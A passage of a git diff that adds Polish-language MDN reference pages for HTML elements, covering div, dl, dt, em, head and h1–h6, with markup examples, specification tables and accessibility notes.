+ &amp;lt;p&amp;gt;, &amp;lt;table&amp;gt;. You name it!&lt;/p&gt;
+&lt;/div&gt; </pre>
+
+<p>Rezultat wygląda tak:</p>
+
+<p>{{EmbedLiveSample("A_simple_example", 650, 60)}}</p>
+
+<h3 id="Przykład_z_użyciem_stylów">Przykład z użyciem stylów</h3>
+
+<p>Ten przykład tworzy cieniowane pole, stosując styl dla <code>&lt;div&gt;</code> za pomocą CSS. Zwróć uwagę na użycie atrybutu {{htmlattrxref("class")}} na elemencie <code>&lt;div&gt;</code> aby zastosować styl o nazwie <code>"shadowbox"</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="shadowbox"&gt;
+ &lt;p&gt;Here's a very interesting note displayed in a
+ lovely shadowed box.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.shadowbox {
+ width: 15em;
+ border: 1px solid #333;
+ box-shadow: 8px 8px 5px #444;
+ padding: 8px 12px;
+ background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc);
+}</pre>
+
+<h4 id="Rezultat">Rezultat</h4>
+
+<p>{{EmbedLiveSample("A_styled_example", 650, 120)}}</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No changes since the latest snapshot</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Obsoleted <strong>align</strong></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.4', '&lt;div&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("html.elements.div")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Semantic sectioning elements: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}</li>
+ <li>{{HTMLElement("span")}} element for styling of phrasing content</li>
+</ul>
diff --git a/files/pl/web/html/element/dl/index.html b/files/pl/web/html/element/dl/index.html
new file mode 100644
index 0000000000..9a459ee324
--- /dev/null
+++ b/files/pl/web/html/element/dl/index.html
@@ -0,0 +1,112 @@
+---
+title: dl
+slug: Web/HTML/Element/dl
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/dl
+---
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Element <strong>lista definicji</strong> (<code>&lt;dl&gt;</code>) zawiera listę par terminów i ich definicji. Powszechnym zastosowaniem tego elementu jest tworzenie słownika.</p>
+
+<ul>
+ <li>Typ elementu: <a href="pl/HTML/Elementy_blokowe">blokowy</a></li>
+ <li>Dozwolona zawartość: <a href="pl/HTML/Element/dt"><code>dt</code></a>, <a href="pl/HTML/Element/dd"><code>dd</code></a></li>
+</ul>
+
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+
+<dl>
+ <dt>compact {{ Non-standard_inline() }}</dt>
+ <dd>Wymusza, by opis definicji pojawił się w tej samej linii, co termin definicji. Działa tylko w Internet Explorer.</dd>
+</dl>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<h4 id="Pojedynczy_termin_i_definicja" name="Pojedynczy_termin_i_definicja">Pojedynczy termin i definicja</h4>
+
+<pre>&lt;dl&gt;
+ &lt;dt&gt;Firefox&lt;/dt&gt;
+ &lt;dd&gt;Wolna, o otwartym kodzie źródłowym, międzyplatformowa,
+ graficzna przeglądarka internetowa,
+ tworzona przez Mozilla Corporation i setki wolontariuszy.&lt;/dd&gt;
+
+ &lt;!-- inne terminy i definicje --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>Rezultat:</p>
+
+<dl>
+ <dt>Firefox</dt>
+ <dd>Wolna, o otwartym kodzie źródłowym, międzyplatformowa, graficzna przeglądarka internetowa, tworzona przez Mozilla Corporation i setki wolontariuszy.</dd>
+</dl>
+
+<h4 id="Wiele_termin.C3.B3w.2C_jedna_definicja" name="Wiele_termin.C3.B3w.2C_jedna_definicja">Wiele terminów, jedna definicja</h4>
+
+<pre>&lt;dl&gt;
+ &lt;dt&gt;Firefox&lt;/dt&gt;
+ &lt;dt&gt;Mozilla Firefox&lt;/dt&gt;
+ &lt;dt&gt;Fx&lt;/dt&gt;
+ &lt;dd&gt;Wolna, o otwartym kodzie źródłowym, międzyplatformowa,
+ graficzna przeglądarka internetowa,
+ tworzona przez Mozilla Corporation i setki wolontariuszy.&lt;/dd&gt;
+
+ &lt;!-- inne terminy i definicje --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>Rezultat:</p>
+
+<dl>
+ <dt>Firefox</dt>
+ <dt>Mozilla Firefox</dt>
+ <dt>Fx</dt>
+ <dd>Wolna, o otwartym kodzie źródłowym, międzyplatformowa, graficzna przeglądarka internetowa, tworzona przez Mozilla Corporation i setki wolontariuszy.</dd>
+</dl>
+
+<h4 id="Pojedynczy_termin.2C_wiele_definicji" name="Pojedynczy_termin.2C_wiele_definicji">Pojedynczy termin, wiele definicji</h4>
+
+<pre>&lt;dl&gt;
+ &lt;dt&gt;Firefox&lt;/dt&gt;
+ &lt;dd&gt;Wolna, o otwartym kodzie źródłowym, międzyplatformowa,
+ graficzna przeglądarka internetowa,
+ tworzona przez Mozilla Corporation i setki wolontariuszy.&lt;/dd&gt;
+ &lt;dd&gt;Panda czerwona, znana też jako panda mniejsza, Wah, Bear Cat lub Firefox,
+ jest to przeważnie trawożerny ssak, nieco większy niż kot domowy
+ (60 cm długości).&lt;/dd&gt;
+
+ &lt;!-- inne terminy i definicje --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>Rezultat:</p>
+
+<dl>
+ <dt>Firefox</dt>
+ <dd>Wolna, o otwartym kodzie źródłowym, międzyplatformowa, graficzna przeglądarka internetowa, tworzona przez Mozilla Corporation i setki wolontariuszy.</dd>
+ <dd>Panda czerwona, znana też jako panda mniejsza, Wah, Bear Cat lub Firefox, jest to przeważnie trawożerny ssak, nieco większy niż kot domowy (60 cm długości).</dd>
+</dl>
+
+<h4 id="Wiele_termin.C3.B3w_i_definicji" name="Wiele_termin.C3.B3w_i_definicji">Wiele terminów i definicji</h4>
+
+<p>Możliwe jest również tworzenie wielokrotnych terminów i definicji, ale już wiesz, jak to zrobić.</p>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Użycie <code>&lt;dl compact&gt;</code> jest poprawne w <a href="pl/HTML">HTML</a>, lecz, aby użyć tego atrybutu w <a href="pl/XHTML">XHTML</a>, musisz użyć zapisu <code>&lt;dl compact="compact"&gt;</code>.</p>
+
+<p>Nie zaleca się używania tego elementu, razem z <a href="pl/HTML/Element/ul">niesortowanymi listami</a>, żeby stworzyć tylko wcięcie na stronie. Mimo, iż to działa, jest to zła praktyka i pokazuje złe rozumienie znaczenia listy definicji.</p>
+
+<p>Aby zmienić wcięcie terminu definicji, użyj własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/margin">margin</a>.</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="pl/HTML/Element/dt">Znacznik <code>&lt;dt&gt;</code></a></li>
+ <li><a href="pl/HTML/Element/dd">Znacznik <code>&lt;dd&gt;</code></a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/HTML/Element/dl" } ) }}</p>
diff --git a/files/pl/web/html/element/dt/index.html b/files/pl/web/html/element/dt/index.html
new file mode 100644
index 0000000000..f6ac42b6db
--- /dev/null
+++ b/files/pl/web/html/element/dt/index.html
@@ -0,0 +1,24 @@
+---
+title: dt
+slug: Web/HTML/Element/dt
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/dt
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;dt&gt;</code> (definition term) określa termin definicji w <a href="pl/HTML/Element/dl">liście definicji</a> (<a href="pl/HTML/Element/dl">&lt;dl&gt;</a>). Ten element może występować tylko jako <a href="pl/HTML/Child_element">dziecko</a> listy definicji i powinien następować po nim element <a href="pl/HTML/Element/dd">opis definicji</a> (<a href="pl/HTML/Element/dd"><code>&lt;dd&gt;</code></a>) element.
+</p>
+<ul><li> Dozwolona zawartość: <a href="pl/HTML/Elementy_liniowe">liniowa</a>
+</li><li> Dozwolony w: <a href="pl/HTML/Element/dl">&lt;dl&gt;</a>
+</li></ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<p>Zobacz przykłady w <a href="pl/HTML/Element/dl#Przyk.C5.82ady">lista definicji</a>.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/HTML/Element/dl">Znacznik lista definicji <code>dl</code></a>
+</li><li> <a href="pl/HTML/Element/dd">Znacznik opis definicji <code>dd</code></a>
+</li></ul>
+<p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/dt" } ) }}
diff --git a/files/pl/web/html/element/em/index.html b/files/pl/web/html/element/em/index.html
new file mode 100644
index 0000000000..fa9c2eac28
--- /dev/null
+++ b/files/pl/web/html/element/em/index.html
@@ -0,0 +1,31 @@
+---
+title: em
+slug: Web/HTML/Element/em
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/em
+---
+<p>
+</p><p><br>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;em&gt;...&lt;/em&gt;</code> nadaje tekstowi nacisk, zwykle jest on oznaczony kursywą.
+</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre class="eval"> &lt;p&gt;
+
+ Ważne jest, że &lt;em&gt;nie możesz&lt;/em&gt; zalogować się zanim nie
+ zweryfikujesz swojego konta poprzez email, który został wysłany na adres, który podałeś.
+
+ &lt;/p&gt;
+</pre>
+<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> <p> Ważne jest, że <em>nie możesz</em> zalogować się zanim nie zweryfikujesz swojego konta poprzez email, który został wysłany na adres, który podałeś. </p>
+<h3 id="Kursywa_vs._Emfaza" name="Kursywa_vs._Emfaza"> Kursywa vs. Emfaza </h3>
+<p>Jest to często trudne dla niedoświadczonych deweloperów, dlaczego jest tak dużo sposobów stworzenia tej samej rzeczy na stronie. Kursywa i nacisk są prawdopodobnie jednym z najczęstszych. Czy należy używać <code>&lt;em&gt;&lt;/em&gt;</code> czy <code>&lt;i&gt;&lt;/i&gt;</code>? Czy tworzy to dokładnie ten sam wynik?
+</p><p>Nie do końca - emfaza jest stanem logicznym, a kursywa jest stanem fizycznym. Stany logiczne oddzielają prezentację od zawartości, dlatego mogą być wyrażone na różne sposoby, na przykład, zamiast wyświetlać fragment tekstu jako kursywę, możesz wyświetlić go na czerwono, w innym rozmiarze, podkreślone lub nawet wytłuszczone. Bardziej sensownym jest zmieniać właściwości prezentacyjne znacznika <code>em</code> niż robić to z kursywą. Dzieje się tak, ponieważ kursywa jest stanem fizycznym, nie ma tutaj rozdziału pomiędzy prezentacją i zawartością, zmuszanie kursywy do robienia czegokolwiek innego niż pochylania tekstu byłoby mylące i nielogiczne.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/HTML/Element/i">Znacznik <code>&lt;i&gt;</code></a>
+</li></ul>
+<p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/em" } ) }}
diff --git a/files/pl/web/html/element/head/index.html b/files/pl/web/html/element/head/index.html
new file mode 100644
index 0000000000..aa1c44454f
--- /dev/null
+++ b/files/pl/web/html/element/head/index.html
@@ -0,0 +1,130 @@
+---
+title: '<head>: Element metadanych dokumentu (Nagłówek)'
+slug: Web/HTML/Element/head
+tags:
+ - Element
+ - HTML
+ - HTML metadane dokumentu
+ - 'HTML:Metadane zawartość'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/head
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>Element</strong> <strong>HTML <code>&lt;head&gt;</code></strong> zawiera maszynowo odczytywane informacje ({{glossary("metadata", "metadane")}}) o dokumencie, takie jak <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Element/title">tytuł</a>, <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Element/script">skrypty</a> i <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Element/style">arkusze stylów</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Uwaga:</strong> <code>&lt;head&gt;</code> posiada przede wszystkim informacje do przetwarzania maszynowego, a nie do odczytywania przez ludzi. Informacje widoczne dla człowieka, takie jak nagłówki najwyższego poziomu i wymienieni autorzy, znajdują się w elemencie {{HTMLElement("header")}}.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th>
+ <td>Brak.</td>
+ </tr>
+ <tr>
+ <th>Dozwolona zawartość</th>
+ <td>
+ <p>Jeśli dokument jest dokumentem {{htmlattrxref("srcdoc", "iframe")}} w {{HTMLElement("iframe")}}, lub jeśli informacja tytułowa jest dostępna z protokołu wyższego poziomu (np. temat w e-mailu HTML), zero lub więcej elementów zawartości metadanych.</p>
+
+ <p><br>
+ W przeciwnym wypadku, jeden lub więcej elementów zawartości metadanych, gdzie dokładnie jeden jest elementem {{HTMLElement("title")}}.</p>
+ </td>
+ </tr>
+ <tr>
+ <th>Pominięcie znacznika</th>
+ <td>Znacznik startowy może zostać pominięty, jeśli pierwszą rzeczą wewnątrz elementu <code>&lt;head&gt;</code> jest element.<br>
+ Znacznik końcowy może zostać pominięty, jeśli pierwszą rzeczą następującą po elemencie <code>&lt;head&gt;</code> nie jest znak spacji lub komentarz.</td>
+ </tr>
+ <tr>
+ <th>Dozwoleni rodzice</th>
+ <td>Element {{HTMLElement("html")}}, jako jego pierwsze dziecko.</td>
+ </tr>
+ <tr>
+ <th>Dozwolone role ARIA</th>
+ <td>Brak</td>
+ </tr>
+ <tr>
+ <th>Interfejs DOM</th>
+ <td>{{domxref("HTMLHeadElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Ten element uwzględnia <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("profile")}} {{obsolete_inline}}</dt>
+ <dd>URI jednego lub więcej profili metadanych, oddzielone białym znakiem.</dd>
+</dl>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;Tytuł dokumentu&lt;/title&gt;
+ &lt;/head&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Uwagi">Uwagi</h2>
+
+<p>Nowoczesne, zgodne z HTML5 przeglądarki automatycznie tworzą element <code>&lt;head&gt;</code>, jeśli tagi są pomijane w znaczniku. <a class="external" href="https://www.stevesouders.com/blog/2010/05/12/autohead-my-first-browserscope-user-test/">Takie zachowanie nie może być zagwarantowane w starych przeglądarkach</a>.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '&lt;head&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Bez zmian w stosunku do najnowszej wersji</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '&lt;head&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Przestarzały <code>profile</code></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '&lt;head&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.head")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Elementy, które mogą być używane wewnątrz <code>&lt;head&gt;</code>:
+
+ <ul>
+ <li>{{HTMLElement("title")}}</li>
+ <li>{{HTMLElement("base")}}</li>
+ <li>{{HTMLElement("link")}}</li>
+ <li>{{HTMLElement("style")}}</li>
+ <li>{{HTMLElement("meta")}}</li>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{HTMLElement("noscript")}}</li>
+ <li>{{HTMLElement("template")}}</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/pl/web/html/element/heading_elements/index.html b/files/pl/web/html/element/heading_elements/index.html
new file mode 100644
index 0000000000..c3eafe6774
--- /dev/null
+++ b/files/pl/web/html/element/heading_elements/index.html
@@ -0,0 +1,250 @@
+---
+title: '<h1>–<h6>: The HTML Section Heading elements'
+slug: Web/HTML/Element/Heading_Elements
+translation_of: Web/HTML/Element/Heading_Elements
+---
+<div>{{HTMLRef}}</div>
+
+<p id="Summary"><span class="seoSummary">Element języka <strong>HTML <code>&lt;h1&gt;</code>–<code>&lt;h6&gt;</code> </strong>reprezentuje sześć poziomów zawartości nagłówka. Zawartość nagłówka <code>&lt;h1&gt;</code> jest prezentowana największą czcionką, a nagłówków <code>&lt;h6&gt;</code> najmniejszą.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/h1-h6.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, heading content, palpable content.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted content</th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Tag omission</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted parents</th>
+ <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>; don't use a heading element as a child of the {{HTMLElement("hgroup")}} element — it is now deprecated.</td>
+ </tr>
+ <tr>
+ <th scope="row">Implicit ARIA role</th>
+ <td><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/heading_role">heading</a></td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted ARIA roles</th>
+ <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}} or {{ARIARole("none")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM interface</th>
+ <td>{{domxref("HTMLHeadingElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>These elements only include the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<div class="note">
+<p>The <code>align</code> attribute is obsolete; don't use it.</p>
+</div>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<ul>
+ <li>Heading information may be used by user agents, for example, to construct a table of contents for a document automatically.</li>
+ <li>Avoid using heading tags to resize text. Instead, use the {{glossary("CSS")}} {{cssxref("font-size")}} property. Headings use size to indicate their relative importance, but CSS is preferred for general-purpose resizing.</li>
+ <li>Avoid skipping heading levels: always start from <code>&lt;h1&gt;</code>, next use <code>&lt;h2&gt;</code> and so on.</li>
+ <li>You should only use one <code>&lt;h1&gt;</code> per page. Using more than one will not result in an error, but using only one is seen as a best practice. It makes logical sense — <code>&lt;h1&gt;</code> is the most important heading, and tells you what the purpose of the overall page is. You wouldn't have a book with more than one title, or a movie with more than one name! Having a single top-level title is also arguably better for screenreader users, and {{glossary("SEO")}}.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="All_headings">All headings</h3>
+
+<p>The following code shows all the heading levels, in use.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h2&gt;Heading level 2&lt;/h2&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+&lt;h4&gt;Heading level 4&lt;/h4&gt;
+&lt;h5&gt;Heading level 5&lt;/h5&gt;
+&lt;h6&gt;Heading level 6&lt;/h6&gt;
+</pre>
+
+<p>Here is the result of this code:</p>
+
+<p>{{ EmbedLiveSample('All_headings', '280', '300', '') }}</p>
+
+<h3 id="Example_page">Example page</h3>
+
+<p>The following code shows a few headings with some content under them.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Heading elements&lt;/h1&gt;
+&lt;h2&gt;Summary&lt;/h2&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h2&gt;Examples&lt;/h2&gt;
+&lt;h3&gt;Example 1&lt;/h3&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h3&gt;Example 2&lt;/h3&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+
+&lt;h2&gt;See also&lt;/h2&gt;
+&lt;p&gt;Some text here...&lt;/p&gt;
+</pre>
+
+<p>Here is the result of this code:</p>
+
+<p>{{ EmbedLiveSample('Example_page', '280', '480', '') }}</p>
+
+<h2 id="Accessibility_concerns">Accessibility concerns</h2>
+
+<h3 id="Navigation">Navigation</h3>
+
+<p>A common navigation technique for users of screen reading software is jumping from heading to heading to quickly determine the content of the page. Because of this, it is important to not skip one or more heading levels. Doing so may create confusion, as the person navigating this way may be left wondering where the missing heading is.</p>
+
+<h4 id="Dont">Don't</h4>
+
+<pre class="brush: html example-bad notranslate">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+&lt;h4&gt;Heading level 4&lt;/h4&gt;
+</pre>
+
+<h4 id="Do">Do</h4>
+
+<pre class="brush: html example-good notranslate">&lt;h1&gt;Heading level 1&lt;/h1&gt;
+&lt;h2&gt;Heading level 2&lt;/h2&gt;
+&lt;h3&gt;Heading level 3&lt;/h3&gt;
+</pre>
+
+<h4 id="Nesting">Nesting</h4>
+
+<p>Headings may be nested as subsections to reflect the organization of the content of the page. Most screen readers can also generate an ordered list of all the headings on a page, which can help a person quickly determine the hierarchy of the content:</p>
+
+<ol>
+ <li><code>h1</code> Beetles
+
+ <ol>
+ <li><code>h2</code> Etymology</li>
+ <li><code>h2</code> Distribution and Diversity</li>
+ <li><code>h2</code> Evolution
+ <ol>
+ <li><code>h3</code> Late Paleozoic</li>
+ <li><code>h3</code> Jurassic</li>
+ <li><code>h3</code> Cretaceous</li>
+ <li><code>h3</code> Cenozoic</li>
+ </ol>
+ </li>
+ <li><code>h2</code> External Morphology
+ <ol>
+ <li><code>h3</code> Head
+ <ol>
+ <li><code>h4</code> Mouthparts</li>
+ </ol>
+ </li>
+ <li><code>h3</code> Thorax
+ <ol>
+ <li><code>h4</code> Prothorax</li>
+ <li><code>h4</code> Pterothorax</li>
+ </ol>
+ </li>
+ <li><code>h3</code> Legs</li>
+ <li><code>h3</code> Wings</li>
+ <li><code>h3</code> Abdomen</li>
+ </ol>
+ </li>
+ </ol>
+ </li>
+</ol>
+
+<p>When headings are nested, heading levels may be "skipped" when closing a subsection.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/tutorials/page-structure/headings/">Headings • Page Structure • WAI Web Accessibility Tutorials</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_—_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_—_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Understanding WCAG, Guideline 2.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html">Understanding Success Criterion 2.4.1 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-descriptive.html">Understanding Success Criterion 2.4.6 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-headings.html">Understanding Success Criterion 2.4.10 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="Labeling_section_content">Labeling section content</h3>
+
+<p>Another common navigation technique for users of screen reading software is to generate a list of <a href="/en-US/docs/Web/HTML/Element#Content_sectioning">sectioning content</a> and use it to determine the page's layout.</p>
+
+<p>Sectioning content can be labeled using a combination of the <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code> and {{htmlattrxref("id")}} attributes, with the label concisely describing the purpose of the section. This technique is useful for situations where there is more than one sectioning element on the same page.</p>
+
+<h4 id="Example">Example</h4>
+
+<pre class="brush: html notranslate">&lt;header&gt;
+ &lt;nav aria-labelledby="primary-navigation"&gt;
+ &lt;h2 id="primary-navigation"&gt;Primary navigation&lt;/h2&gt;
+ &lt;!-- navigation items --&gt;
+ &lt;/nav&gt;
+&lt;/header&gt;
+
+&lt;!-- page content --&gt;
+
+&lt;footer&gt;
+ &lt;nav aria-labelledby="footer-navigation"&gt;
+ &lt;h2 id="footer-navigation"&gt;Footer navigation&lt;/h2&gt;
+ &lt;!-- navigation items --&gt;
+ &lt;/nav&gt;
+&lt;/footer&gt;
+</pre>
+
+<p>In this example, screen reading technology would announce that there are two {{HTMLElement("nav")}} sections, one called "Primary navigation" and one called "Footer navigation". If labels were not provided, the person using screen reading software may have to investigate each <code>nav</code> element's contents to determine their purpose.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Using the aria-labelledby attribute</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/page-structure/labels/#using-aria-labelledby">Labeling Regions • Page Structure • W3C WAI Web Accessibility Tutorials</a></li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-h1-h2-h3-h4-h5-and-h6-elements', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.5', '&lt;h1&gt;, &lt;h2&gt;, &lt;h3&gt;, &lt;h4&gt;, &lt;h5&gt;, and &lt;h6&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.h1")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("p")}}</li>
+ <li>{{HTMLElement("div")}}</li>
+ <li>{{HTMLElement("section")}}</li>
+</ul>
diff --git a/files/pl/web/html/element/hr/index.html b/files/pl/web/html/element/hr/index.html
new file mode 100644
index 0000000000..f7986c208c
--- /dev/null
+++ b/files/pl/web/html/element/hr/index.html
@@ -0,0 +1,57 @@
+---
+title: hr
+slug: Web/HTML/Element/hr
+tags:
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/hr
+---
